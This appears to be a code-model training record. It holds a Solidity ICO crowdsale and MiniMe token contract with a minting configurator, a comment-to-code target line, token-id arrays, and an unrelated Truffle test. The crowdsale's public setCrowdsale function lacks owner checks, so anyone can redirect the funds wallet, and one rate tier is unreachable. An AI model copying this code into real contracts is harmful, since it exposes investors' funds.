-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.23; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title Whitelist * @dev The Whitelist contract has a whitelist of addresses, and provides basic authorization control functions. * @dev This simplifies the implementation of "user permissions". */ contract Whitelist is Pausable { mapping(address => bool) public whitelist; event WhitelistedAddressAdded(address addr); event WhitelistedAddressRemoved(address addr); /** * @dev Throws if called by any account that's not whitelisted. */ modifier onlyWhitelisted() { require(whitelist[msg.sender]); _; } /** * @dev add an address to the whitelist * @param addr address * @return true if the address was added to the whitelist, false if the address was already in the whitelist */ function addAddressToWhitelist(address addr) onlyOwner public returns(bool success) { if (!whitelist[addr]) { whitelist[addr] = true; emit WhitelistedAddressAdded(addr); success = true; } } /** * @dev add addresses to the whitelist * @param addrs addresses * @return true if at least one address was added to the whitelist, * false if all addresses were already in the whitelist */ function addAddressesToWhitelist(address[] addrs) onlyOwner public returns(bool success) { for (uint256 i = 0; i < addrs.length; i++) { if (addAddressToWhitelist(addrs[i])) { success = true; } } } /** * @dev remove an address from the whitelist * @param addr address * @return true if the address was removed from the whitelist, * false if the address wasn't in the whitelist in the first place */ function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) { if (whitelist[addr]) { whitelist[addr] = false; emit WhitelistedAddressRemoved(addr); success = true; } } /** * @dev remove addresses from the whitelist * @param addrs addresses * @return true if at least one address was removed from the whitelist, * false if all addresses weren't in the whitelist in the first place */ function removeAddressesFromWhitelist(address[] addrs) onlyOwner public returns(bool success) { for (uint256 i = 0; i < addrs.length; i++) { if (removeAddressFromWhitelist(addrs[i])) { success = true; } } } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conform * the base architecture for crowdsales. They are *not* intended to be modified / overriden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using 'super' where appropiate to concatenate * behavior. */ contract Crowdsale is Whitelist{ using SafeMath for uint256; // The token being sold MiniMeToken public token; // Address where funds are collected address public wallet; // How many token units a buyer gets per wei uint256 public rate = 6120; // Amount of tokens sold uint256 public tokensSold; //Star of the crowdsale uint256 startTime; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); event buyx(address buyer, address contractAddr, uint256 amount); constructor(address _wallet, MiniMeToken _token, uint256 starttime) public{ require(_wallet != address(0)); require(_token != address(0)); wallet = _wallet; token = _token; startTime = starttime; } function setCrowdsale(address _wallet, MiniMeToken _token, uint256 starttime) public{ require(_wallet != address(0)); require(_token != address(0)); wallet = _wallet; token = _token; startTime = starttime; } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * fallback function ***DO NOT OVERRIDE*** */ function () external whenNotPaused payable { emit buyx(msg.sender, this, _getTokenAmount(msg.value)); buyTokens(msg.sender); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public whenNotPaused payable { if ((tokensSold > 20884500000000000000000000 ) && (tokensSold <= 30791250000000000000000000)) { rate = 5967; } else if ((tokensSold > 30791250000000000000000000) && (tokensSold <= 39270000000000000000000000)) { rate = 5865; } else if ((tokensSold > 39270000000000000000000000) && (tokensSold <= 46856250000000000000000000)) { rate = 5610; } else if ((tokensSold > 46856250000000000000000000) && (tokensSold <= 35700000000000000000000000)) { rate = 5355; } else if (tokensSold > 35700000000000000000000000) { rate = 5100; } uint256 weiAmount = msg.value; uint256 tokens = _getTokenAmount(weiAmount); tokensSold = tokensSold.add(tokens); _processPurchase(_beneficiary, tokens); emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { // optional override } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.transfer(_beneficiary, _tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.) * @param _beneficiary Address receiving the tokens * @param _weiAmount Value in wei involved in the purchase */ function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal { // optional override } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal returns (uint256) { return _weiAmount.mul(rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } } contract EmaCrowdSale is Crowdsale { uint256 public hardcap; uint256 public starttime; Crowdsale public csale; using SafeMath for uint256; constructor(address wallet, MiniMeToken token, uint256 startTime, uint256 cap) Crowdsale(wallet, token, starttime) public onlyOwner { hardcap = cap; starttime = startTime; setCrowdsale(wallet, token, startTime); } function tranferPresaleTokens(address investor, uint256 ammount)public onlyOwner{ tokensSold = tokensSold.add(ammount); token.transferFrom(this, investor, ammount); } function setTokenTransferState(bool state) public onlyOwner { token.changeController(this); token.enableTransfers(state); } function claim(address claimToken) public onlyOwner { token.changeController(this); token.claimTokens(claimToken); } function () external payable onlyWhitelisted whenNotPaused{ emit buyx(msg.sender, this, _getTokenAmount(msg.value)); buyTokens(msg.sender); } } contract Controlled is Pausable { /// @notice The address of the controller is the only address that can call /// a function with this modifier modifier onlyController { require(msg.sender == controller); _; } modifier onlyControllerorOwner { require((msg.sender == controller) || (msg.sender == owner)); _; } address public controller; constructor() public { controller = msg.sender;} /// @notice Changes the controller of the contract /// @param _newController The new controller of the contract function changeController(address _newController) public onlyControllerorOwner { controller = _newController; } } /// @dev The token controller contract must implement these functions contract TokenController { /// @notice Called when `_owner` sends ether to the MiniMe Token contract /// @param _owner The address that sent the ether to create tokens /// @return True if the ether is accepted, false if it throws function proxyPayment(address _owner) public payable returns(bool); /// @notice Notifies the controller about a token transfer allowing the /// controller to react if desired /// @param _from The origin of the transfer /// @param _to The destination of the transfer /// @param _amount The amount of the transfer /// @return False if the controller does not authorize the transfer function onTransfer(address _from, address _to, uint _amount) public returns(bool); /// @notice Notifies the controller about an approval allowing the /// controller to react if desired /// @param _owner The address that calls `approve()` /// @param _spender The spender in the `approve()` call /// @param _amount The amount in the `approve()` call /// @return False if the controller does not authorize the approval function onApprove(address _owner, address _spender, uint _amount) public returns(bool); } /* Copyright 2016, Jordi Baylina This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ /// @title MiniMeToken Contract /// @author Jordi Baylina /// @dev This token contract's goal is to make it easy for anyone to clone this /// token using the token distribution at a given block, this will allow DAO's /// and DApps to upgrade their features in a decentralized manner without /// affecting the original token /// @dev It is ERC20 compliant, but still needs to under go further testing. contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public; } /// @dev The actual token contract, the default controller is the msg.sender /// that deploys the contract, so usually this token will be deployed by a /// token controller contract, which Giveth will call a "Campaign" contract MiniMeToken is Controlled { using SafeMath for uint256; string public name; //The Token's name: e.g. DigixDAO Tokens uint8 public decimals; //Number of decimals of the smallest unit string public symbol; //An identifier: e.g. REP string public version = 'V 1.0'; //An arbitrary versioning scheme /// @dev `Checkpoint` is the structure that attaches a block number to a /// given value, the block number attached is the one that last changed the /// value struct Checkpoint { // `fromBlock` is the block number that the value was generated from uint128 fromBlock; // `value` is the amount of tokens at a specific block number uint128 value; } // `parentToken` is the Token address that was cloned to produce this token; // it will be 0x0 for a token that was not cloned MiniMeToken public parentToken; // `parentSnapShotBlock` is the block number from the Parent Token that was // used to determine the initial distribution of the Clone Token uint public parentSnapShotBlock; // `creationBlock` is the block number that the Clone Token was created uint public creationBlock; // `balances` is the map that tracks the balance of each address, in this // contract when the balance changes the block number that the change // occurred is also included in the map mapping (address => Checkpoint[]) balances; // `allowed` tracks any extra transfer rights as in all ERC20 tokens mapping (address => mapping (address => uint256)) allowed; // Tracks the history of the `totalSupply` of the token Checkpoint[] totalSupplyHistory; // Flag that determines if the token is transferable or not. bool public transfersEnabled; // The factory used to create new clone tokens MiniMeTokenFactory public tokenFactory; //////////////// // Constructor //////////////// /// @notice Constructor to create a MiniMeToken /// @param _tokenFactory The address of the MiniMeTokenFactory contract that /// will create the Clone token contracts, the token factory needs to be /// deployed first /// @param _parentToken Address of the parent token, set to 0x0 if it is a /// new token /// @param _parentSnapShotBlock Block of the parent token that will /// determine the initial distribution of the clone token, set to 0 if it /// is a new token /// @param _tokenName Name of the new token /// @param _decimalUnits Number of decimals of the new token /// @param _tokenSymbol Token Symbol for the new token /// @param _transfersEnabled If true, tokens will be able to be transferred constructor( address _tokenFactory, address _parentToken, uint _parentSnapShotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public { tokenFactory = MiniMeTokenFactory(_tokenFactory); name = _tokenName; // Set the name decimals = _decimalUnits; // Set the decimals symbol = _tokenSymbol; // Set the symbol parentToken = MiniMeToken(_parentToken); parentSnapShotBlock = _parentSnapShotBlock; transfersEnabled = _transfersEnabled; creationBlock = block.number; } /////////////////// // ERC20 Methods /////////////////// /// @notice Send `_amount` tokens to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _amount) public returns (bool success) { require(transfersEnabled); doTransfer(msg.sender, _to, _amount); return true; } /// @notice Send `_amount` tokens to `_to` from `_from` on the condition it /// is approved by `_from` /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function transferFrom(address _from, address _to, uint256 _amount ) public returns (bool success) { // The controller of this contract can move tokens around at will, // this is important to recognize! Confirm that you trust the // controller of this contract, which in most situations should be // another open source smart contract or 0x0 if (msg.sender != controller) { require(transfersEnabled); // The standard ERC 20 transferFrom functionality require(allowed[_from][msg.sender] >= _amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); } doTransfer(_from, _to, _amount); return true; } /// @dev This is the actual transfer function in the token contract, it can /// only be called by other functions in this contract. /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function doTransfer(address _from, address _to, uint _amount ) internal { if (_amount == 0) { emit Transfer(_from, _to, _amount); // Follow the spec to louch the event when transfer 0 return; } // Do not allow transfer to 0x0 or the token contract itself require((_to != 0) && (_to != address(this))); // If the amount being transfered is more than the balance of the // account the transfer throws uint256 previousBalanceFrom = balanceOfAt(_from, block.number); require(previousBalanceFrom >= _amount); // sending the tokens updateValueAtNow(balances[_from], previousBalanceFrom - _amount); // Then update the balance array with the new value for the address // receiving the tokens uint256 previousBalanceTo = balanceOfAt(_to, block.number); require(previousBalanceTo.add(_amount) >= previousBalanceTo); // Check for overflow updateValueAtNow(balances[_to], previousBalanceTo.add(_amount)); // An event to make the transfer easy to find on the blockchain emit Transfer(_from, _to, _amount); } /// @param _owner The address that's balance is being requested /// @return The balance of `_owner` at the current block function balanceOf(address _owner) public constant returns (uint256 balance) { return balanceOfAt(_owner, block.number); } /// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on /// its behalf. This is a modified version of the ERC20 approve function /// to be a little bit safer /// @param _spender The address of the account able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the approval was successful function approve(address _spender, uint256 _amount) public returns (bool success) { require(transfersEnabled); // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender,0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); // Alerts the token controller of the approve function call if (isContract(controller)) { require(TokenController(controller).onApprove(msg.sender, _spender, _amount)); } allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } /// @dev This function makes it easy to read the `allowed[]` map /// @param _owner The address of the account that owns the token /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens of _owner that _spender is allowed /// to spend function allowance(address _owner, address _spender ) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /// @notice `msg.sender` approves `_spender` to send `_amount` tokens on /// its behalf, and then a function is triggered in the contract that is /// being approved, `_spender`. This allows users to use their tokens to /// interact with contracts in one function call instead of two /// @param _spender The address of the contract able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the function call was successful function approveAndCall(address _spender, uint256 _amount, bytes _extraData ) public returns (bool success) { require(approve(_spender, _amount)); ApproveAndCallFallBack(_spender).receiveApproval( msg.sender, _amount, this, _extraData ); return true; } /// @dev This function makes it easy to get the total number of tokens /// @return The total number of tokens function totalSupply() public constant returns (uint) { return totalSupplyAt(block.number); } //////////////// // Query balance and totalSupply in History //////////////// /// @dev Queries the balance of `_owner` at a specific `_blockNumber` /// @param _owner The address from which the balance will be retrieved /// @param _blockNumber The block number when the balance is queried /// @return The balance at `_blockNumber` function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint) { // These next few lines are used when the balance of the token is // requested before a check point was ever created for this token, it // requires that the `parentToken.balanceOfAt` be queried at the // genesis block for that token as this contains initial balance of // this token if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); } else { // Has no parent return 0; } // This will return the expected balance during normal situations } else { return getValueAt(balances[_owner], _blockNumber); } } /// @notice Total amount of tokens at a specific `_blockNumber`. /// @param _blockNumber The block number when the totalSupply is queried /// @return The total amount of tokens at `_blockNumber` function totalSupplyAt(uint _blockNumber) public constant returns(uint) { // These next few lines are used when the totalSupply of the token is // requested before a check point was ever created for this token, it // requires that the `parentToken.totalSupplyAt` be queried at the // genesis block for this token as that contains totalSupply of this // token at this block number. if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); } else { return 0; } // This will return the expected totalSupply during normal situations } else { return getValueAt(totalSupplyHistory, _blockNumber); } } //////////////// // Generate and destroy tokens //////////////// /// @notice Generates `_amount` tokens that are assigned to `_owner` /// @param _owner The address that will be assigned the new tokens /// @param _amount The quantity of tokens generated /// @return True if the tokens are generated correctly function generateTokens(address _owner, uint _amount ) public onlyControllerorOwner whenNotPaused returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply.add(_amount) >= curTotalSupply); // Check for overflow uint previousBalanceTo = balanceOf(_owner); require(previousBalanceTo.add(_amount) >= previousBalanceTo); // Check for overflow updateValueAtNow(totalSupplyHistory, curTotalSupply.add(_amount)); updateValueAtNow(balances[_owner], previousBalanceTo.add(_amount)); emit Transfer(0, _owner, _amount); return true; } /// @notice Burns `_amount` tokens from `_owner` /// @param _owner The address that will lose the tokens /// @param _amount The quantity of tokens to burn /// @return True if the tokens are burned correctly function destroyTokens(address _owner, uint _amount ) onlyControllerorOwner public returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply >= _amount); uint previousBalanceFrom = balanceOf(_owner); require(previousBalanceFrom >= _amount); updateValueAtNow(totalSupplyHistory, curTotalSupply.sub(_amount)); updateValueAtNow(balances[_owner], previousBalanceFrom.sub(_amount)); emit Transfer(_owner, 0, _amount); return true; } //////////////// // Enable tokens transfers //////////////// /// @notice Enables token holders to transfer their tokens freely if true /// @param _transfersEnabled True if transfers are allowed in the clone function enableTransfers(bool _transfersEnabled) public onlyControllerorOwner { transfersEnabled = _transfersEnabled; } //////////////// // Internal helper functions to query and set a value in a snapshot array //////////////// /// @dev `getValueAt` retrieves the number of tokens at a given block number /// @param checkpoints The history of values being queried /// @param _block The block number to retrieve the value at /// @return The number of tokens being queried function getValueAt(Checkpoint[] storage checkpoints, uint _block ) constant internal returns (uint) { if (checkpoints.length == 0) return 0; // Shortcut for the actual value if (_block >= checkpoints[checkpoints.length.sub(1)].fromBlock) return checkpoints[checkpoints.length.sub(1)].value; if (_block < checkpoints[0].fromBlock) return 0; // Binary search of the value in the array uint min = 0; uint max = checkpoints.length.sub(1); while (max > min) { uint mid = (max.add(min).add(1)).div(2); if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid.sub(1); } } return checkpoints[min].value; } /// @dev `updateValueAtNow` used to update the `balances` map and the /// `totalSupplyHistory` /// @param checkpoints The history of data being updated /// @param _value The new number of tokens function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value ) internal { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length.sub(1)].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length.sub(1)]; oldCheckPoint.value = uint128(_value); } } /// @dev Internal function to determine if an address is a contract /// @param _addr The address being queried /// @return True if `_addr` is a contract function isContract(address _addr) constant internal returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size>0; } /// @dev Helper function to return a min betwen the two uints function min(uint a, uint b) pure internal returns (uint) { return a < b ? a : b; } /// @notice The fallback function: If the contract's controller has not been /// set to 0, then the `proxyPayment` method is called which relays the /// ether and creates tokens as described in the token controller contract function () public payable { /*require(isContract(controller)); require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender));*/ revert(); } ////////// // Safety Methods ////////// /// @notice This method can be used by the controller to extract mistakenly /// sent tokens to this contract. /// @param _token The address of the token contract that you want to recover /// set to 0 in case you want to extract ether. function claimTokens(address _token) public onlyControllerorOwner { if (_token == 0x0) { controller.transfer(address(this).balance); return; } MiniMeToken token = MiniMeToken(_token); uint balance = token.balanceOf(this); token.transfer(controller, balance); emit ClaimedTokens(_token, controller, balance); } //////////////// // Events //////////////// event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); event Transfer(address indexed _from, address indexed _to, uint256 _amount); event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); } //////////////// // MiniMeTokenFactory //////////////// /// @dev This contract is used to generate clone contracts from a contract. /// In solidity this is the way to create a contract from a contract of the /// same class contract MiniMeTokenFactory { /// @notice Update the DApp by creating a new token with new functionalities /// the msg.sender becomes the controller of this clone token /// @param _parentToken Address of the token being cloned /// @param _snapshotBlock Block of the parent token that will /// determine the initial distribution of the clone token /// @param _tokenName Name of the new token /// @param _decimalUnits Number of decimals of the new token /// @param _tokenSymbol Token Symbol for the new token /// @param _transfersEnabled If true, tokens will be able to be transferred /// @return The address of the new token contract function createCloneToken( address _parentToken, uint _snapshotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public returns (MiniMeToken) { MiniMeToken newToken = new MiniMeToken( this, _parentToken, _snapshotBlock, _tokenName, _decimalUnits, _tokenSymbol, _transfersEnabled ); newToken.changeController(msg.sender); return newToken; } } contract EmaToken is MiniMeToken { constructor(address tokenfactory, address parenttoken, uint parentsnapshot, string tokenname, uint8 dec, string tokensymbol, bool transfersenabled) MiniMeToken(tokenfactory, parenttoken, parentsnapshot, tokenname, dec, tokensymbol, transfersenabled) public{ } } contract Configurator is Ownable { EmaToken public token = EmaToken(0xC3EE57Fa8eD253E3F214048879977265967AE745); EmaCrowdSale public crowdsale = EmaCrowdSale(0xAd97aF045F815d91621040809F863a5fb070B52d); address ownerWallet = 0x3046751e1d843748b4983D7bca58ECF6Ef1e5c77; address tokenfactory = 0xB74AA356913316ce49626527AE8543FFf23bB672; address fundsWallet = 0x3046751e1d843748b4983D7bca58ECF6Ef1e5c77; address incetivesPool = 0x95eac65414a6a650E2c71e3480AeEF0cF76392FA; address FoundersAndTeam = 0x88C952c4A8fc156b883318CdA8b4a5279d989391; address FuturePartners = 0x5B0333399E0D8F3eF1e5202b4eA4ffDdFD7a0382; address Contributors = 0xa02dfB73de485Ebd9d37CbA4583e916F3bA94CeE; address BountiesWal = 0xaB662f89A2c6e71BD8c7f754905cAaEC326BcdE7; uint256 public crowdSaleStart; function deploy() onlyOwner public{ owner = msg.sender; // crowdsale.transferOwnership(ownerWallet); // token.transferOwnership(ownerWallet); // token.changeController(this); token.generateTokens(crowdsale, 255000000000000000000000000); // Generate CrowdSale tokens token.generateTokens(incetivesPool, 115000000000000000000000000); //generate Incentives pool tokens token.generateTokens(FoundersAndTeam, 85000000000000000000000000); //generate Founders and team tokens token.generateTokens(FuturePartners, 40000000000000000000000000); //generate future partners tokens and contributors token.generateTokens(BountiesWal, 5000000000000000000000000); //generate contributors tokens token.changeController(EmaCrowdSale(crowdsale)); token.transferOwnership(ownerWallet); crowdsale.transferOwnership(ownerWallet); } }
generate contributors tokens
token.generateTokens(BountiesWal, 5000000000000000000000000);
170,850
[ 1, 7163, 13608, 13595, 2430, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 202, 2316, 18, 7163, 5157, 12, 38, 592, 606, 59, 287, 16, 1381, 12648, 12648, 12648, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; import "truffle/Assert.sol"; import "./MoneyMarketWithPriceTest.sol"; /* * @dev This tests the money market with tests for supportMarket part 4. */ contract MoneyMarketTest_SupportMarket4 is MoneyMarketWithPriceTest { function testSupportMarket_Suspended() public { collateralMarkets = new address[](0); // clear collateral markets address asset = nextAddress(); admin = msg.sender; assertNoError(Error(_setAssetPrice(asset, 500))); assertNoError(Error(_supportMarket(asset, InterestRateModel(asset)))); Assert.equal(markets[asset].isSupported, true, "market is supported"); // Let's tweak the indexes away from defaults so we can verify that re-supporting does not change them. markets[asset].supplyIndex = 5; markets[asset].borrowIndex = 6; assertNoError(Error(_suspendMarket(asset))); Assert.equal(markets[asset].isSupported, false, "market is suspended"); // end of lengthy setup assertNoError(Error(_supportMarket(asset, InterestRateModel(asset)))); Assert.equal(markets[asset].isSupported, true, "supported again"); Assert.equal(markets[asset].interestRateModel, asset, "should still have interest rate model"); Assert.equal(markets[asset].supplyIndex, 5, "supply index unchanged"); Assert.equal(markets[asset].borrowIndex, 6, "borrow index unchanged"); } }
